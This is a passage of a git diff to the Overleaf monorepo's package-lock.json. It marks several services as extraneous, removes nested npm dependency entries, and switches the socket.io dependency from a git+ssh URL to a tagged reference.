"@overleaf/k8s-debugger", ++ "extraneous": true, + "dependencies": { + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", +@@ -33451,6 +27180,7 @@ + }, + "services/project-archiver": { + "name": "@overleaf/project-archiver", ++ "extraneous": true, + "dependencies": { + "@google-cloud/storage": "~5.7.2", + "@overleaf/logger": "^3.1.0", +@@ -33473,121 +27203,9 @@ + "sinon": "9.0.1" + } + }, +- "services/project-archiver/node_modules/@google-cloud/storage": { +- "version": "5.7.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-5.7.4.tgz", +- "integrity": "sha512-fynB3kDT+lhx71laML+LtUs/w9Ezcf+SVAsaP0fhAyPQzOc0kp43uYTymYCvF9GffYR7jcy6yqYifeMSU9VEVA==", +- "dependencies": { +- "@google-cloud/common": "^3.5.0", +- "@google-cloud/paginator": "^3.0.0", +- "@google-cloud/promisify": "^2.0.0", +- "arrify": "^2.0.0", +- "async-retry": "^1.3.1", +- "compressible": "^2.0.12", +- "date-and-time": "^0.14.2", +- "duplexify": "^4.0.0", +- "extend": "^3.0.2", +- "gaxios": "^4.0.0", +- "gcs-resumable-upload": "^3.1.0", +- "get-stream": "^6.0.0", +- "hash-stream-validation": "^0.2.2", +- "mime": "^2.2.0", +- "mime-types": "^2.0.8", +- "onetime": "^5.1.0", +- "p-limit": "^3.0.1", +- "pumpify": "^2.0.0", +- "snakeize": "^0.1.0", +- "stream-events": "^1.0.1", +- "xdg-basedir": "^4.0.0" +- }, +- "engines": { +- "node": ">=10" +- } +- }, +- "services/project-archiver/node_modules/date-and-time": { +- "version": "0.14.2", +- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz", +- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA==" +- }, +- "services/project-archiver/node_modules/diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true, +- "engines": { +- "node": ">=0.3.1" +- } +- }, +- "services/project-archiver/node_modules/duplexify": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz", +- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==", +- "dependencies": { +- "end-of-stream": "^1.4.1", +- "inherits": "^2.0.3", +- "readable-stream": "^3.1.1", +- "stream-shift": "^1.0.0" +- } +- }, +- "services/project-archiver/node_modules/gaxios": { +- "version": "4.3.2", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-4.3.2.tgz", +- "integrity": "sha512-T+ap6GM6UZ0c4E6yb1y/hy2UB6hTrqhglp3XfmU9qbLCGRYhLVV5aRPpC4EmoG8N8zOnkYCgoBz+ScvGAARY6Q==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.6.1" +- }, +- "engines": { +- "node": ">=10" +- } +- }, +- "services/project-archiver/node_modules/get-stream": { +- "version": "6.0.1", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", +- "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", +- "engines": { +- "node": ">=10" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "services/project-archiver/node_modules/sinon": { +- "version": "9.0.1", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz", +- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==", +- "dev": true, +- "dependencies": { +- "@sinonjs/commons": "^1.7.0", +- "@sinonjs/fake-timers": "^6.0.0", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" +- }, +- "funding": { +- "type": "opencollective", +- "url": "https://opencollective.com/sinon" +- } +- }, +- "services/project-archiver/node_modules/supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "dependencies": { +- "has-flag": "^4.0.0" +- }, +- "engines": { +- "node": ">=8" +- } +- }, + "services/project-history": { + "name": "@overleaf/project-history", ++ "extraneous": true, + "dependencies": { + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", +@@ -33630,360 +27248,6 @@ + "timekeeper": "2.2.0" + } + }, +- "services/project-history/node_modules/@hapi/address": { +- "version": "2.1.4", +- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz", +- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==", +- "deprecated": "Moved to 'npm install @sideway/address'" +- }, +- "services/project-history/node_modules/@hapi/joi": { +- "version": "15.1.1", +- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz", +- "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==", +- "deprecated": "Switch to 'npm install joi'", +- "dependencies": { +- "@hapi/address": "2.x.x", +- "@hapi/bourne": "1.x.x", +- "@hapi/hoek": "8.x.x", +- "@hapi/topo": "3.x.x" +- } +- }, +- "services/project-history/node_modules/@hapi/topo": { +- "version": "3.1.6", +- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz", +- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==", +- "deprecated": "This version has been deprecated and is no longer supported or maintained", +- "dependencies": { +- "@hapi/hoek": "^8.3.0" +- } +- }, +- "services/project-history/node_modules/body-parser": { +- "version": "1.19.0", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", +- "dependencies": { +- "bytes": "3.1.0", +- "content-type": "~1.0.4", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "on-finished": "~2.3.0", +- "qs": "6.7.0", +- "raw-body": "2.4.0", +- "type-is": "~1.6.17" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "services/project-history/node_modules/body-parser/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "services/project-history/node_modules/body-parser/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "services/project-history/node_modules/bytes": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", +- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "services/project-history/node_modules/celebrate": { +- "version": "10.1.0", +- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz", +- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==", +- "dependencies": { +- "@hapi/joi": "15.x.x", +- "escape-html": "1.0.3", +- "lodash.get": "4.4.x" +- }, +- "engines": { +- "node": ">=8.9.0" +- } +- }, +- "services/project-history/node_modules/content-disposition": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", +- "dependencies": { +- "safe-buffer": "5.1.2" +- }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/project-history/node_modules/cookie": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", +- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/project-history/node_modules/cookie-signature": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", +- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" +- }, +- "services/project-history/node_modules/diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true, +- "engines": { +- "node": ">=0.3.1" +- } +- }, +- "services/project-history/node_modules/express": { +- "version": "4.17.1", +- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", +- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", +- "dependencies": { +- "accepts": "~1.3.7", +- "array-flatten": "1.1.1", +- "body-parser": "1.19.0", +- "content-disposition": "0.5.3", +- "content-type": "~1.0.4", +- "cookie": "0.4.0", +- "cookie-signature": "1.0.6", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "finalhandler": "~1.1.2", +- "fresh": "0.5.2", +- "merge-descriptors": "1.0.1", +- "methods": "~1.1.2", +- "on-finished": "~2.3.0", +- "parseurl": "~1.3.3", +- "path-to-regexp": "0.1.7", +- "proxy-addr": "~2.0.5", +- "qs": "6.7.0", +- "range-parser": "~1.2.1", +- "safe-buffer": "5.1.2", +- "send": "0.17.1", +- "serve-static": "1.14.1", +- "setprototypeof": "1.1.1", +- "statuses": "~1.5.0", +- "type-is": "~1.6.18", +- "utils-merge": "1.0.1", +- "vary": "~1.1.2" +- }, +- "engines": { +- "node": ">= 0.10.0" +- } +- }, +- "services/project-history/node_modules/express/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "services/project-history/node_modules/express/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "services/project-history/node_modules/http-errors": { +- "version": "1.7.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", +- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", +- "dependencies": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.1", +- "statuses": ">= 1.5.0 < 2", +- "toidentifier": "1.0.0" +- }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/project-history/node_modules/inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "services/project-history/node_modules/mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", +- "bin": { +- "mime": "cli.js" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "services/project-history/node_modules/ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" +- }, +- "services/project-history/node_modules/nock": { +- "version": "12.0.3", +- "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz", +- "integrity": "sha512-QNb/j8kbFnKCiyqi9C5DD0jH/FubFGj5rt9NQFONXwQm3IPB0CULECg/eS3AU1KgZb/6SwUa4/DTRKhVxkGABw==", +- "dev": true, +- "dependencies": { +- "debug": "^4.1.0", +- "json-stringify-safe": "^5.0.1", +- "lodash": "^4.17.13", +- "propagate": "^2.0.0" +- }, +- "engines": { +- "node": ">= 10.13" +- } +- }, +- "services/project-history/node_modules/propagate": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz", +- "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==", +- "dev": true, +- "engines": { +- "node": ">= 8" +- } +- }, +- "services/project-history/node_modules/qs": { +- "version": "6.7.0", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", +- "engines": { +- "node": ">=0.6" +- } +- }, +- "services/project-history/node_modules/raw-body": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", +- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", +- "dependencies": { +- "bytes": "3.1.0", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "unpipe": "1.0.0" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "services/project-history/node_modules/requestretry": { +- "version": "1.13.0", +- "resolved": "https://registry.npmjs.org/requestretry/-/requestretry-1.13.0.tgz", +- "integrity": "sha512-Lmh9qMvnQXADGAQxsXHP4rbgO6pffCfuR8XUBdP9aitJcLQJxhp7YZK4xAVYXnPJ5E52mwrfiKQtKonPL8xsmg==", +- "dependencies": { +- "extend": "^3.0.0", +- "lodash": "^4.15.0", +- "request": "^2.74.0", +- "when": "^3.7.7" +- } +- }, +- "services/project-history/node_modules/send": { +- "version": "0.17.1", +- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", +- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", +- "dependencies": { +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "destroy": "~1.0.4", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "fresh": "0.5.2", +- "http-errors": "~1.7.2", +- "mime": "1.6.0", +- "ms": "2.1.1", +- "on-finished": "~2.3.0", +- "range-parser": "~1.2.1", +- "statuses": "~1.5.0" +- }, +- "engines": { +- "node": ">= 0.8.0" +- } +- }, +- "services/project-history/node_modules/send/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "services/project-history/node_modules/send/node_modules/debug/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "services/project-history/node_modules/serve-static": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", +- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", +- "dependencies": { +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "parseurl": "~1.3.3", +- "send": "0.17.1" +- }, +- "engines": { +- "node": ">= 0.8.0" +- } +- }, +- "services/project-history/node_modules/setprototypeof": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", +- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" +- }, +- "services/project-history/node_modules/sinon": { +- "version": "9.0.3", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.3.tgz", +- "integrity": "sha512-IKo9MIM111+smz9JGwLmw5U1075n1YXeAq8YeSFlndCLhAL5KGn6bLgu7b/4AYHTV/LcEMcRm2wU2YiL55/6Pg==", +- "dev": true, +- "dependencies": { +- "@sinonjs/commons": "^1.7.2", +- "@sinonjs/fake-timers": "^6.0.1", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.1.0", +- "diff": "^4.0.2", +- "nise": "^4.0.4", +- "supports-color": "^7.1.0" +- }, +- "funding": { +- "type": "opencollective", +- "url": "https://opencollective.com/sinon" +- } +- }, +- "services/project-history/node_modules/supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "dependencies": { +- "has-flag": "^4.0.0" +- }, +- "engines": { +- "node": ">=8" +- } +- }, +- "services/project-history/node_modules/toidentifier": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", +- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", +- "engines": { +- "node": ">=0.6" +- } +- }, + "services/real-time": { + "name": "@overleaf/real-time", + "dependencies": { +@@ -34003,7 +27267,7 @@ + "express-session": "^1.17.1", + "proxy-addr": "^2.0.7", + "request": "^2.88.2", +- "socket.io": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb", ++ "socket.io": "overleaf/socket.io#0.9.19-overleaf-6", + "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3", + "underscore": "1.13.1" + }, +@@ -34105,6 +27369,7 @@ + }, + "services/references": { + "name": "@overleaf/references", ++ "extraneous": true, + "dependencies": { + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", +@@ -34130,14 +27395,6 @@ + "sinon": "^9.2.4" + } + }, +- "services/references/node_modules/uuid": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", +- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==", +- "bin": { +- "uuid": "dist/bin/uuid" +- } +- }, + "services/spelling": { + "name": "@overleaf/spelling", + "version": "0.1.4", +@@ -34170,6 +27427,7 @@ + }, + "services/templates": { + "name": "@overleaf/templates", ++ "extraneous": true, + "dependencies": { + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", +@@ -34195,404 +27453,73 @@ + "sinon": "^9.2.4" + } + }, +- "services/templates/node_modules/body-parser": { +- "version": "1.19.0", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", ++ "services/third-party-datastore": { ++ "name": "@overleaf/third-party-datastore", ++ "extraneous": true, + "dependencies": { +- "bytes": "3.1.0", +- "content-type": "~1.0.4", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "on-finished": "~2.3.0", +- "qs": "6.7.0", +- "raw-body": "2.4.0", +- "type-is": "~1.6.17" ++ "@overleaf/access-token-encryptor": "^2.2.0", ++ "@overleaf/logger": "^3.1.0", ++ "@overleaf/metrics": "^4.0.0", ++ "@overleaf/o-error": "^3.4.0", ++ "@overleaf/redis-wrapper": "^2.0.1", ++ "@overleaf/settings": "^3.0.0", ++ "async": "^3.2.2", ++ "body-parser": "^1.19.0", ++ "bunyan": "^1.8.15", ++ "dropbox": "^10.24.0", ++ "express": "^4.17.1", ++ "lru-cache": "^4.1.5", ++ "mongodb": "^3.6.0", ++ "node-fetch": "^2.6.7", ++ "p-limit": "^2.3.0", ++ "request": "^2.88.2", ++ "underscore": "^1.13.1", ++ "uuid": "^8.3.2" + }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "services/templates/node_modules/bytes": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", +- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", +- "engines": { +- "node": ">= 0.8" ++ "devDependencies": { ++ "chai": "^4.3.6", ++ "chai-as-promised": "^7.1.1", ++ "mocha": "^8.4.0", ++ "nock": "0.15.2", ++ "sandboxed-module": "^2.0.4", ++ "sinon": "9.0.1", ++ "sinon-chai": "^3.7.0", ++ "sinon-stub-promise": "^4.0.0" + } + }, +- "services/templates/node_modules/content-disposition": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", ++ "services/third-party-references": { ++ "name": "@overleaf/thirdparty-references", ++ "extraneous": true, ++ "license": "ISC", + "dependencies": { +- "safe-buffer": "5.1.2" ++ "@overleaf/access-token-encryptor": "^2.2.0", ++ "@overleaf/logger": "^3.1.0", ++ "@overleaf/metrics": "^4.0.0", ++ "@overleaf/o-error": "^3.4.0", ++ "@overleaf/settings": "^3.0.0", ++ "async": "^3.2.2", ++ "body-parser": "^1.19.0", ++ "bunyan": "^1.8.15", ++ "express": "^4.17.1", ++ "lodash": "^4.17.21", ++ "lru-cache": "^5.1.1", ++ "mongodb": "^3.6.0", ++ "oauth": "0.9.15", ++ "request": "^2.88.2", ++ "simple-oauth2": "^0.6.0" + }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/templates/node_modules/cookie": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", +- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/templates/node_modules/cookie-signature": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", +- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" +- }, +- "services/templates/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "services/templates/node_modules/express": { +- "version": "4.17.1", +- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", +- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", +- "dependencies": { +- "accepts": "~1.3.7", +- "array-flatten": "1.1.1", +- "body-parser": "1.19.0", +- "content-disposition": "0.5.3", +- "content-type": "~1.0.4", +- "cookie": "0.4.0", +- "cookie-signature": "1.0.6", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "finalhandler": "~1.1.2", +- "fresh": "0.5.2", +- "merge-descriptors": "1.0.1", +- "methods": "~1.1.2", +- "on-finished": "~2.3.0", +- "parseurl": "~1.3.3", +- "path-to-regexp": "0.1.7", +- "proxy-addr": "~2.0.5", +- "qs": "6.7.0", +- "range-parser": "~1.2.1", +- "safe-buffer": "5.1.2", +- "send": "0.17.1", +- "serve-static": "1.14.1", +- "setprototypeof": "1.1.1", +- "statuses": "~1.5.0", +- "type-is": "~1.6.18", +- "utils-merge": "1.0.1", +- "vary": "~1.1.2" +- }, +- "engines": { +- "node": ">= 0.10.0" +- } +- }, +- "services/templates/node_modules/http-errors": { +- "version": "1.7.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", +- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", +- "dependencies": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.1", +- "statuses": ">= 1.5.0 < 2", +- "toidentifier": "1.0.0" +- }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "services/templates/node_modules/inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "services/templates/node_modules/mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", +- "bin": { +- "mime": "cli.js" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "services/templates/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "services/templates/node_modules/qs": { +- "version": "6.7.0", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", +- "engines": { +- "node": ">=0.6" +- } +- }, +- "services/templates/node_modules/raw-body": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", +- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", +- "dependencies": { +- "bytes": "3.1.0", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "unpipe": "1.0.0" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "services/templates/node_modules/send": { +- "version": "0.17.1", +- "resolved": 